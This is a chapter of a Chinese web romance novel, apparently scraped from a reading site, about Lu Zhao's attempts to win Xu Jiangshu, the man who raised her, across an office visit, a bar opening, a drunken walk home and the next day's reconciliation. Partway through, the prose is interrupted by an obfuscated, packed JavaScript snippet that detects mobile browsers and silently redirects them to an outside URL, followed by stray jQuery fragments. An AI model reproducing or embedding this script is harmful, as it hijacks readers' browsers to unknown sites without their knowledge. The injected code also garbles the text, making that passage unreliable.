文趣网 > 都市小说 > 只有你 > 31. 第 31 章
    路昭想到了她的生长痛。

    夜晚有时候小腿会抽筋,膝盖也会酸痛,乳|房也开始发育起来。

    一天一天的成长。

    成长是美妙的过程,可是也会带来疼痛。

    她的情绪波动很大,连晚上入睡都困难。

    她谁也没说。

    她觉得她自己能解决这些东西。

    然而,许江树还是发现了她状态不对的情况。

    在他的询问下,路昭才把这段时间的经历告诉许江树。

    许江树蹲下身来,目光与她平视着告诉她:“我们昭昭长大了。”

    现在也是这样。

    吾家有儿初成长。

    路昭收回跑远的思绪,做出一个礼貌微笑:“你教得好。”

    许江树眉梢一扬:“那是你聪明。”

    “……”

    互捧吗?路昭靠在办公椅,歪着脑袋瞧着对面沙发上的许江树:“哥哥,你可以去公关部了。”

    情商高、会说话。

    “我去公关部做什么?”许江树说,“教他们怎么来夸夸你?”

    那不得成了荒唐的场景了?许氏的那些人不得找她麻烦?!

    路昭说:“你想让我背上骂名。”

    “不应该骂我?”许江树说,“是我教的,与你有什么关系?”

    路昭也不答应:“骂你不就是骂我吗?”

    许江树听了,心里似乎有些异样,散漫道:“那么护着我?”

    路昭用力点头,机灵鬼一显:“嗯,哥哥你不知道吗?我最喜欢的人就是你喽。”

    “你最喜欢的人是我,”许江树说,“那个比你年长的老…男人怎么办?”

    许江树也不知道怎么回事,这问题没经过思考就直接说了出来。

    他看着路昭,女孩的头发散着,一举一动不再是儿时的模样。

    她比他小六岁多,又在他眼皮底下长大。每当那张乖巧的脸喊他哥哥时,他心里有说不出来的滋味。

    许江树目光不自觉挪移到路昭嘴唇,他喉结动了动。

    几秒,他强行转移,食指在沙发上弹动,力道稍微重些。

    烦躁的意味更明显了。

    闻言,路昭道:“你不是说不能提他吗?”

    许江树说话的语气平缓:“我是说你。”

    “……”

    除了我,都能提?双标有点明显了。路昭看着他,没接话。

    两人就这样大眼瞪大眼。

    过了会儿,许江树问:“还是说你把我排最前面,是怕我吃醋?”

    “我才不是怕你吃醋。”

    路昭回答的果断,她就怕他没反应,怕他一句轻飘飘地说:“你这个年纪谈恋爱也正常。”

    许江树沉默半晌,声线有些温吞:“那…为什么要把我排在前面?”

    “我都说了。我喜欢你呀,”路昭刻意顿了顿,装做不耐,“许江树。你干嘛还要问那么多啊?”

    是我喜欢你呀,许江树。别接着问了,不然得露馅了。

    许江树似乎把这话当成了妹妹对哥哥的喜欢,他笑了笑,带着低哑气息:“你把我放在前面,我很开心,昭昭。”

    “那我呢?我在你心里是不是唯一一个?”

    唯一的意义不同。

    可是话一说出来,路昭隐隐后悔,她有点急躁了。

    尽管这样想,她心跳还是快得刹不住。

    紧张、兴奋、害怕…各种词都出现在她身上。

    时间似过得很慢很慢,慢到路昭都觉得空气都停滞住了。

    许江树还是没回答。

    如此悬着,让路昭胆怯了,内心兵荒马乱的。她在想,是不是许江树发现了什么,然后琢磨着该如何处理她。

    路昭心里一沉。

    她要不要嬉皮笑脸地来一句:“我开玩笑呢。”

    结果,许江树不但不多想,还轻笑出声,话里带了几丝纵容:“怎么贪心?”

    我还想更贪心一点呢,你整个人都要。

    路昭点点头:“嗯。哥哥,我从来就不喜欢分享。”

    许江树嘴唇带着笑意地揉了揉她的脑袋:“唯一一个。”

    因为这句话,路昭兴奋了很久,购物欲也上涨,她从茶几下抽出了几本杂志。

    她一页一页地翻着。

    顺眼地就毫不犹豫勾下来。

    她在某一页中停留很久。

    那是一条领带。

    她没下笔,而是打开了手机。

    差不多半个钟后,办公室门被推开,冯奕从外面进来,他径直走到办公桌前,看了一眼路昭收回视线:“许总,外面有人找,说是关于投资方面。”

    许江树和冯奕走到了会议室。

    冯奕说:“许总,广泽那边把投资的资金退回来了,说是用不上了。”

    许江树倒也是意外,更多的是他笑了。他想到了路昭的面孔,她一定也会很高兴。

    冯奕正要走开,许江树叫住了他:“那几本杂志上勾划的东西准备好送到君悦府。”

    -

    下午四点半,路昭看了时间:“我晚上还有课呢。”

    “哥哥知道,吃了晚饭送你。”

    “哥哥,你又得上班,还得送我。你觉得麻不麻烦呀?”

    “过来。”许江树表情似笑非笑,“我告诉你。”

    路昭神色狐疑,一个问题还需要她过去才能回答?

    不过,她还是过去了。

    然而许江树站起身来,垂着眼,眸子一眨不眨地盯着眼前女孩。

    路昭轻轻吞咽了一下,怎么整得她说错话了似的。

    许江树捏了捏她的脸:“是觉得我麻烦,还是你不想让我来送你?”

    路昭抬睫,明知故问:“有什么区别?”

    许江树没说什么区别:“你从来不是麻烦,我喜欢你事事都找我,这样哥哥会很幸福,显得哥哥有用。”

    “为什么?”

    这是超出哥哥对妹妹的照顾范围……好像也不是。

    因为…她知道有个情况。

    兄妹互相陪伴对方成长,最困难的时候不离不弃,一起渡过难关。她们会格外注重对方。

    在许江树眼里,是不是也是这样?

    “毕竟…你是我妹妹。”

    许江树没有看路昭的脸,可他没有笑,沉着脸,说话的语气轻轻的,轻到像是语气不足。

    “哦,那你可真是好哥哥。”路昭说,“我都没照顾过你。”

    “没照顾我,那家里灯谁留得?饭谁让送的?我感冒的时候,是谁照顾的?是田螺姑娘?”

    真把她当家人了?

    太糟糕了,不止一点点。路昭好气恼,她嘴角抿得僵直,口不择言起来:“所以你对我很感恩吗?”

    “……嗯?”许江树慢半拍,他对她感恩?

    好奇妙的话。

    真是他年纪大了?跟不上年轻人的潮流了?

    “……”路昭才反应过来,感恩两字的确用词不当,“我意思说,你是不是因为这些才对我好的?”

    许江树垂眸看着她的眼:“不是。”

    路昭实在是不敢问下去了,因为她太害怕许江树会说,你是我妹妹,我们是亲人,对你好理所当然。

    停在这两字上,至少给她留下了想象空间。

    她得转移话题,不想和许江树继续去讨论,不想再去加重兄妹感情关系。

    不利她。

    便说:“我饿了。”

    许江树抓起外套:“走吧,带你吃好吃的。”

    -

    好长一段时间里,路昭在刻意割裂妹妹的身份,她会经常叫他许江树,试图把她们没血缘关系摆到明面上来。

    比如那天周五,许江树一如既往地在教学楼接她回家。

    路昭钻进车内:“许江树,你来多久了?”

    许江树懒懒抬眼:“刚到。”

    “你怎么到的那么准时?”路昭才不信,“我一下课你就刚到。”

    “我不是有你课表?”许江树笑,“会提前安排时间。”

    “许江树。”

    “嗯。”

    “你怎么那么贴心?”路昭蛊惑人心的语气,像是成了白雪公主里的皇后哄着白雪吃下红苹果,“要不要更贴心一点?”

    许江树挑眉,哪会不知道她这是有事的模样:“说吧。”

    “回家帮我剪指甲。”路昭把手摊在许江树眼前,“你看,都好长了。”

    她特意留的。

    许江树盯着那双白皙修长的手指,很干净,干净到他碰也不敢触碰:“自己剪。”

    听到这三字,路昭一点都不意外,他都还没帮她剪指甲过呢,路昭不死心:“许江树,你一点都不疼我了。”

    许江树皱眉:“我还怎么不疼你?”

    “你不给我剪指甲。”

    “剪指甲这事你得自己来。”

    路昭收回手,坐正了身体,张着嘴开始胡言乱语起来。

    “我自己剪不好,像除夕那天一样,又刮伤你了怎么办,又又又万一我刮伤别人了怎么办?别人没你那么好说话。伤到了别人了,到时候你又得处理这烂摊子……”

    “行。”

    “啊?”路昭还准备了好长一段词呢,这就说服了?

    许江树声线低磁,那宠溺的意味总是在里面:“你都说了那么多,我还有什么理由拒绝?当一个狠心的哥哥?”

    闻言,路昭唇边的笑意藏不住:“那你快点开吧。”

    “好。”

    她们一到家,路昭立马飞到卫生间洗手。

    半晌,她走到沙发,没见许江树影子,她催促:“许江树,你好了没?”

    “来了。”

    许江树一只手拿路昭专用的指甲刀,另一只握起路昭的手指。

    也不知道是不是路昭太敏感了,她总觉得许江树的手好有力度,也好炙热。

    路昭像是泡在甜滋滋的水里,怎么喝也喝不饱,想要的更多、更甜。

    她突然想起那天晚上,许江树给她手部按摩的时候,也是这样。

    只是她那时候收了手。

    这次,她却觉得太快了。

    无情的金属材质的指甲刀远离了她。于是,小手摸小手的时间好短。

    许江树把剪掉的指甲包起来丢进垃圾桶。

    路昭觉得那种后劲儿又上来了,她说:“许江树,我要吃冰淇淋!”

    “现在不行。”

    “我不管,我就要吃冰淇淋!”

    许江树试图讲理:“现在还没到夏天。”

    路昭看着许江树,眼巴巴道:“那你把温度调到夏天去嘛。哥哥,我真想吃冰淇淋。你不给我,我就偷偷吃。”

    “……”许江树气乐了。

    这天,路昭真提前体会到了夏天温度。

    她抱着冰淇淋一勺一勺地塞嘴里。

    到底还是没有用。

    -

    期间,冯奕给她发来消息。

    有人出了好几倍购买,还需要吊着吗?

    路昭:【继续。】

    一直吊到三月底时,路昭卖给了卫澜,并让冯奕如实告诉卫邱桃。

    果然,卫邱桃第一时间联系上她了。

    路昭按下接通,又开了免提。

    对方压着怒火:“你不是说过,不会参与进来?”

    “给你警告而已,路家给你什么好处,那是你的本事,而我也有我的本事还回去。”

    卫邱桃沉默:“我…”

    路昭不想听解释,事情做了就是做了,即使说得再多,那也是做了:“是你让你弟拿走我手链的吧。挺有意思的,把自己弟弟推出来,自己又偷偷拿走。”

    卫邱桃没反驳,她无从反驳。

    路昭讽刺道:“不过也挺难为你了,能预知到用这东西换取你想要的。”

    卫邱桃:“你不是没在卫家待过,什么东西不得靠自己争取。”

    “你想怎么争取是你的事,别把主意打我头上。”

    路昭结束了她们通话。

    后来,路昭知道范云筝第一时间得到这消息时,就立马散发出来,特意传到了许江树和卫澜那儿。

    范家有一块地正好是路家想要的,而那块地她们已经闲置了很久。范洲母亲便想用一块地换取能更大的利益。

    何乐而不为呢。

    偏偏因为这事,路家丢了好大一个脸,还得罪了人。

    明面上什么也没说。

    可送去好多东西上门,都被退了回来。范洲母亲知道,想靠的手段都被折了。

    不过除了范云筝,范洲也很高兴,他本就不喜路昭。

    他驾驭不了她。

    范洲能想象,当真结了婚,自己定会被管得死死的,就像他现在被范云筝压制着,所以不想再让自己身边出现类似范云筝的身影。

    -

    五月。

    CBD某座楼的顶层新开了一家酒吧,来的人很多却设有门槛。

    许江树低着眼看她:“怎么样,喜不喜欢?”

    “给我开的?”路昭惊。

    “嗯,想着你以后要来酒吧玩,就可以来这里。安全,没人会让你受伤。”

    许江树不想拦着路昭去酒吧,她有她的生活圈子。

    可那些地方的危险无法控制,就像那天她被吓到一样,他第一时间赶不过来。

    所以,他想给她制造安全的酒吧,她不喜欢的人进不了门,危险不会在她身上出现。

    路昭顿时反应出是那次酒吧的原因。

    那么久了,她都快忘了那事,怎么他还记得啊?有时候,路昭都期待着许江树对她的好,扭转成男人对女人的好。

    她喊:“许江树。”

    许江树神色几分散漫,唇角勾着:“嗯?”

    女孩抬睫:“我很喜欢,谢谢哥哥。”

    许江树:“和哥哥客气?”

    “才没有,这只是一个收到礼物的流程。”

    “是吗?”许江树说,“那我上次说了没有。好像没有吧?要不要我现在补一个?”

    路昭才不要听:“不要。”

    丢下这话,路昭抬脚向前进去。许江树跟在她身后。

    她们去到二楼的位置,那里视线开阔。

    闻轻、芭比她们一群人都在。沈妄还不忘调侃:“是不是该叫一声路老板?”

    路昭笑:“挺好听的。”

    于是乎,这一局,路昭总是被叫路老板。

    好像当个老板的感觉还不错。

    然而崔瑾待了没片刻,她就准备溜走。这一圈里,和同龄的人只有路昭和闻轻,没什么共同语言。

    她才不要继续待在这里克扣自己的愉悦。一旁的闻轻察觉出崔瑾的意图,她小声问:“你要走了?”

    “我去一楼,你不觉得她们下一秒都会谈什么职业发展收藏投资之类的吗?”崔瑾说,“我来这里不是想听这些的。”

    “我和你一起吧。”

    “好。”

    两人密谋好了,闻轻这边却出了意外,她的手被沈妄紧紧拉着。

    闻轻又不敢有大动作,毕竟那么多人,她不想成为视觉中心。

    崔瑾见她一动不动:“走啊。”

    闻轻挤出一个笑意:“你先过去吧,我等会儿过来找你。”

    人一走,闻轻深吸一口气,面无表情对沈妄说:“放手。”

    “刚刚还对别人笑,怎么一下就没了?”沈妄语气放软,“别气了成吗?”

    闻轻眼神认真:“我没气。”

    事实上她们也不算吵架,哪儿来的生气?

    那天的那顿饭里,她们遇见了她的同学,然后迎来了八卦的眼神:“你男朋友?”

    闻轻只说了句:“他是我朋友。”

    因为这句话,两人以沉默的方式结束这顿饭。

    第二天,沈妄没来找她。

    再后来的几天,她也没怎么回复沈妄的消息。

    像是回到了她们还没把关系摊开的时候。

    她胸腔憋得一阵烦,说不上为什么。闻轻并不觉得她回答是错的,她们本来就不是正常情侣。

    况且,沈妄当时也不来反问她。

    沈妄:“你没气怎么不回我消息?”

    “我有点忙,也没有全部都没回。”

    “哦,嗯是回消息?是不是没路昭的聚会,我们连面都见不成?”

    闻轻淡然地望向沈妄,仿佛前几天的事已经过去了,她眉心缓缓皱起来:“没有,你给我那么多资源,我哪有不见你的份。”

    那天她也不知道怎么了,把这些话说了出来,是她太过恃宠而骄了?

    沈妄也被这话给气恼了,他压着性子喊了声:“闻轻。”

    闻轻咬了咬下唇,心里赌成一团:“我朋友还在等我,就先离开了。”

    沈妄盯着她片刻,才点了点头,声线偏冷:“行。”

    闻轻谁也没去找,她给路昭和崔瑾发了自己离开酒吧的短信。

    走出大楼出口,她打了一颤,五月的夜晚还是有点冷啊。

    楼下的车水马龙与顶楼的纸醉金迷形成了对比。

    她目光放在前方的共享单车,这个才是她的世界。

    -

    两个小时聚会结束了。

    路昭因为心情好,多喝了几杯颜色漂亮的酒。现在脑子晕乎乎的,她仰着脑袋:“许江树,你好久都没背我了。”

    闻言,许江树似乎觉得好笑:“多大了,还要背?”

    路昭站不住了,可她目的性很强,往前一扑,然后一头栽进了许江树的怀里。

    衣服很薄,薄到她的脸能感受到他的肌肤。

    她鼻尖全是他的味道,手也不自觉环住许江树的腰,指尖紧紧攥住他的黑衬衫。

    那瞬间,许江树僵硬了,瞳色深去墨,低头看着路昭脑袋。

    距离很近,近到再往前一点点就能吻到她。

    可是还没等他有时间消化。

    没片刻,他又感受到自己胸前被女孩蹭了好几下。

    痒痒的,像是被什么给勾到。

    举动远超过亲情的暧昧。

    来不及去阻止。女孩的嗓音响起:“你是不是不愿意?哥哥,你不愿意背我?”

    “没有不愿意。”许江树低声道,“压到胃,你会难受。”

    路昭的意识是清醒的,她知道她在做什么,说什么:“你就是不愿意。”

    喝了酒,情绪也被放大了,所以听到拒绝,路昭好委屈。

    她喜欢一个人不能说出来,得藏在心里,瞒着所有人,也包括他。

    可是她们不是有血缘的兄妹啊。

    凭什么不能在一起?

    好像也正是因为没血缘,要是把她心意表达出来了,她们是不是也没理由一起回家吃饭了。

    路昭想哭,说话也带了哭腔:“许江树,你为什么不愿意背我?”

    许江树抱着路昭,他看不见路昭的脸:“我只是害怕…”

    害怕什么害怕,话也没等人说完。路昭用手擦掉眼泪,声音闷闷地打断:“胆小鬼。许江树,你就是胆小鬼。”

    都不敢喜欢我!可是我还是好喜欢你。

    说完,路昭松开双手,她来气了,不敢喜欢她,还不愿意背她。

    她向后退一步。

    许江树抓着路昭胳膊,又被路昭挣脱:“你不要碰我,你都不愿意背我,碰我干什么!除非你背我回家。”

    “嗯。”

    这声“嗯”不知道回答的是那句话。

    路昭得逞地笑了。

    许江树怕路昭摔倒,将人带到墙面,让她有个能靠的地方:“能站稳?”

    “能呀。”

    许江树背过身,蹲在路昭面前:“上来,哥哥背你。”

    路昭看着他的背影半晌,心满意足地趴了上去:“哥哥。”

    许江树站起身来:“嗯?”

    “我重不重?”

    “不重。”

    许江树也不知道该不该笑,刚刚把他折腾好一阵子,现在没心没肺问他体重。

    路昭下巴搁在许江树肩膀,目光盯着他侧脸:“许江树。”

    “在呢。”

    “你为什么要对我那么好?”路昭说,“是因为许奶奶的嘱托吗?”

    许奶奶病重时,都会向许江树念叨要好好照顾路昭,即使被接回家了也要好好照看着,替她还一顿饭的恩。

    “不是。”

    的确不是,好好照看有好好照看的方式,至少不用把人放在自己眼皮底下,事事亲力亲为。

    “可是…我又不是你亲妹妹。”路昭说,“和你有血缘关系的妹妹在许家。我姓路,和你都不在一个户口本上。”

    许江树停了下来,他侧脸望着路昭:“不在一个户口本上不好吗?”

    路昭的头有点沉,句子太长,她听不太清许江树说什么,随意“嗯”了一声

    许江树收回视线,看向前方,嘴角微微上扬:“难不难受?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605531|202031||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “有一点。”

    “那我们坐车回去好不好?”

    “好。”

    许江树朝马路边走出。

    在后面跟着的司机立刻停下车。

    许江树放路昭下来,然后小心翼翼扶着她进车里,看她坐好了,又附身给她系安全带,才上车。

    路昭侧头:“哥哥。”

    “嗯?”

    “你没系安全带。”

    许江树眉梢一扬,醉成这样了还惦记他呢!

    良久,车在停车场停稳,许江树绕到另一边给路昭开门。

    路昭脚踩地那瞬,许江树问:“站得稳不?”

    “不能。”路昭笑道,“你背。”

    许江树背着路昭进到家。

    他把她放在玄关的凳子上,蹲在她面前,给她换家居鞋。然后抽了一张酒精湿巾给她擦手。

    这才将人扶到沙发,许江树说:“坐好,哥哥给你倒一杯水。”

    路昭哦了声。看着许江树去向厨房的背影。

    去给她倒水干嘛去厨房?茶吧机又不在那儿。路昭实在是口渴,注意到面前茶壶,她不自觉伸了手。

    下一秒,许江树嗓音响起:“干什么?”

    路昭理直气壮:“喝水。”

    “谁让你喝这个?”

    路昭嫌弃他的速度:“你太慢了。”

    许江树带着茶壶去了茶吧机,几步跨进厨房把蜂蜜拿出来,往杯里放了几勺搅拌均匀。

    水温刚刚好,许江树把杯子递给路昭:“喝了。”

    路昭慢吞吞地喝了一小口,脑子想到了她买来的领带,随即把杯子放茶几上。

    “没喝完。”

    “我要去拿东西。”

    “先喝了再去。”

    许江树没退让:“哥哥喂?”

    路昭巴巴望着许江树。喂她和领带……她都要,便说:“好。”

    然而,许江树拿了一根吸管放进杯子。

    见状,路昭差点石化了,她立马抗议起来:“你这个是喂人吗?”

    她本以为是用勺一点一点喂到她嘴里。

    到头来还不是得自己喝?!算什么喂人。

    女孩的反应让许江树气息悠长地呵笑一声,他哄着人:“听话,张嘴。”

    路昭磨磨蹭蹭的,就不按照许江树说得来做,明明是他自己说喂的。

    许江树真拿她没办法,而后换成了哥哥身份喊:“路昭。”

    路昭不理会,只骂了一句:“骗子。”

    沉默好一阵。

    许江树叹气,最后是他妥协去厨房拿了小勺回到路昭旁边。

    路昭才听了之前的话,张开嘴。

    蜂蜜水见底,路昭回房间翻出了一个盒子:“哥哥,我给你买的。”

    许江树真是哭笑不得。

    眼前的女孩无论在什么状态,都会一直打心眼儿里都惦记着他。

    “谢谢昭昭。哥哥现在能打开吗?”

    “可以。”

    里面是一条黑色领带。

    许江树没打算拿出来,看了几眼就盒上盖子。

    然而,路昭说:“你关上干什么,都没试试呢。”

    “很适合。”

    路昭将盒子夺过来,低着头重新打开盒子,而后取出领带:“我给你带。”

    许江树的衬衫领口是敞开,懒懒散散。路昭凑过去,一眼就锁定项链。

    她取出来,苹果吊坠悬在许江树的胸前。

    路昭指腹按压下去,又掀起眼帘,径直地撞上了他半垂的目光。

    空气似乎停滞了。

    许江树眼里又出现路昭读不懂的东西,好似在压制着什么。

    黑沉沉的眼眸落在她的红唇。

    路昭感受自己身体在不断变化,呼吸也跟乱了。

    她想许江树能对她做出什么过界行为来。

    几秒后,是有了行为,但没过界。

    许江树抬起手放在路昭耳边,拇指轻轻来回抚着她的脸,声线低哑:“回去睡觉吧,明天再试。”

    路昭想说,她没醉,只是刚说出第一个字。许江树没给她机会:“乖一点。”

    路昭听出了许江树是果断禁止交谈的语气,她收回视线,闷闷不乐:“你为什么赶我走?”

    “你该休息了。”

    路昭又气又难过:“可是我不想休息啊!你为什么让我给你带领带?”

    许江树无声叹气,放低声音和她说:“以后有的时间,今天晚上不行。”

    “我就要今晚。”路昭执拗。

    许江树默了默,没多久自己给自己领口扣上了。

    适才的氛围随着这举动消失,路昭忍了鼻尖的酸涩,她面无表情地看着许江树:“我不要了。”

    说完这句话,路昭起身,然而这一次许江树没追上去。

    他不能再继续了。

    会伤害路昭。

    许江树闭着眼深吸一口气。

    -

    回到房间,路昭直接去了浴室,热水淋在身上折腾一番,她思绪渐渐平静。

    又有些后知后觉的懊恼。

    今晚,她是不是做得太过了?

    出了浴室,路昭的眼皮上下打架,她已经没什么精力再去解决这些问题。

    算了,明天再说吧。

    迷迷糊糊之际,她还是认为她没错。

    凌晨两点,路昭从梦中醒来。

    她口干得难受,伸手打开床边的台灯,一下没适应过来,被光线晃了眼睛,条件反射地闭眼。

    须臾,路昭真渴得不行,她穿上鞋子打开房间门。

    家里卧室隔音效果好,不怕吵到许江树。

    她往茶吧机方向走过去时,注意到有细微动静,她慢慢走过去。

    卫生间灯是亮的,还有流水声。

    路昭不确定地问:“哥哥?”

    等她靠在卫生间的门口,就见许江树正洗着裤子。

    大半夜的洗裤子?裤子还没湿透,这真的是在洗裤子吗?

    她不理解。

    许江树侧头,冲洗了手上的泡沫:“怎么醒了?饿了?”

    路昭摇头:“没有,就是有点口渴。”

    许江树去到茶吧机给路昭接了一杯温水。

    “谢谢。”

    路昭真是又渴又困的,解决这事后,她还是忍不住提醒:“哥哥,家里有洗衣机。”

    “好。”

    -

    次日是周末,路昭醒来已经是快十一点了,她来到客厅,正见到许江树已经在沙发上坐着了。

    她顿了顿。

    她还以为许江树已经去上班了。

    想不到还在家里,路昭进也不是,退也不是。

    她还没想好怎么和许江树说话,也不想装作一切没有发生的模样。

    更何况,她没有做错。

    最后,路昭硬着头皮坐在与许江树距离最远的单人沙发,余光瞧着他身影的那瞬。

    许江树扭头过来。路昭立刻将目光全都集中在手机屏幕。

    久久没听见声音。

    像是比谁的耐心好。

    路昭今天出奇的耐得下性子,她自顾自地滑动视频。

    等了半分钟,许江树问:“想吃什么?哥哥给你做。”

    路昭没理会,连头也没抬。

    显然讨好失败。

    又一次等了半分钟。

    许江树说:“今天下午有个应酬,昭昭要不要帮我打领带?”

    路昭抬头瞅了他一眼,然后一言不发地收回目光。

    许江树勾唇:“好不好?”

    路昭扁扁嘴,声线闷闷沉沉:“你不是不要我给你打领带么?”

    “没有。”许江树薄唇抿了抿,从容地解释,“我只是有点不方便。”

    “打领带还需要怎么方便?”路昭狐疑。

    “……我,”许江树含糊道,“想去卫生间。”

    路昭这才稍稍开心一点。

    “不生哥哥的气了吧。”

    “还在考虑。”

    “要怎么才能原谅哥哥?”

    路昭幽幽看他一眼:“你得答应我一件事。”

    “什么事?哥哥现在答应成不?”

    路昭摇摇头,现在她也想,但不太合适。

    会给人感觉就是在为了还人情应付一样。

    “不是现在。”路昭怕他不答应,又补充,“不是犯法的事。反正你能做到,是关于我们俩之间的事。”

    “好。”

    和好的第一件事,路昭还挺注意兄长的眼下发青:“哥哥,你怎么看起来没睡好?”

    “有个不省心的妹妹,我怎么能睡好?”许江树说,“还得想想该怎么哄哄我的妹妹原谅我。”

    “我很不省心吗?我挺省心的呀。”

    路昭明知故问的,她记得昨晚的一切,也是她借着酒劲做出来的行为。

    毕竟她认为这些行为放在许江树眼里,她就是在耍酒疯。

    可她并不是在耍酒疯。

    她得提醒他,她不是耍酒疯,她能记得住回家之前的事。

    “在酒吧就开始闹腾,你说省不省心?”

    “可是你的确好久没背我了。”路昭语速慢吞吞地,视线却一直紧盯着许江树眼睛,“哥哥,我想让你背我而已。”

    这不是什么过分的要求,许江树奇怪:“平时怎么不说?”

    “说了你就愿意吗?”

    “嗯。”

    路昭微微怔住:“真的?”

    “真的。”

    顿时,路昭嗅到了某个味道。她可记得许江树碰她脑袋都觉得她长大了是不应该的。

    现在背她都答应得如此迅速。

    是不是底线都在一步步后退?

    那可真是太美妙的进程了。

    突然,路昭想起昨天晚上的事:“对了哥哥,你昨天大半夜的洗什么衣服?”

    许江树:“……酒洒在裤子上了。”

    “犯得着你大半夜的洗?我还以为小偷进家门了。”

    “这里安保很好,不用担心有小偷。”许江树刻意跳开了第一个问,“行了,都到饭点了,还不吃午饭?”

    “我刚起床,所以叫早餐。”

    “行,”许江树笑了,“那我们去吃早餐?”

    这下,轮到路昭反问:“你还没吃饭?”

    “等你。”

    路昭:“那要是我没原谅你呢?”

    “那我就一直哄。”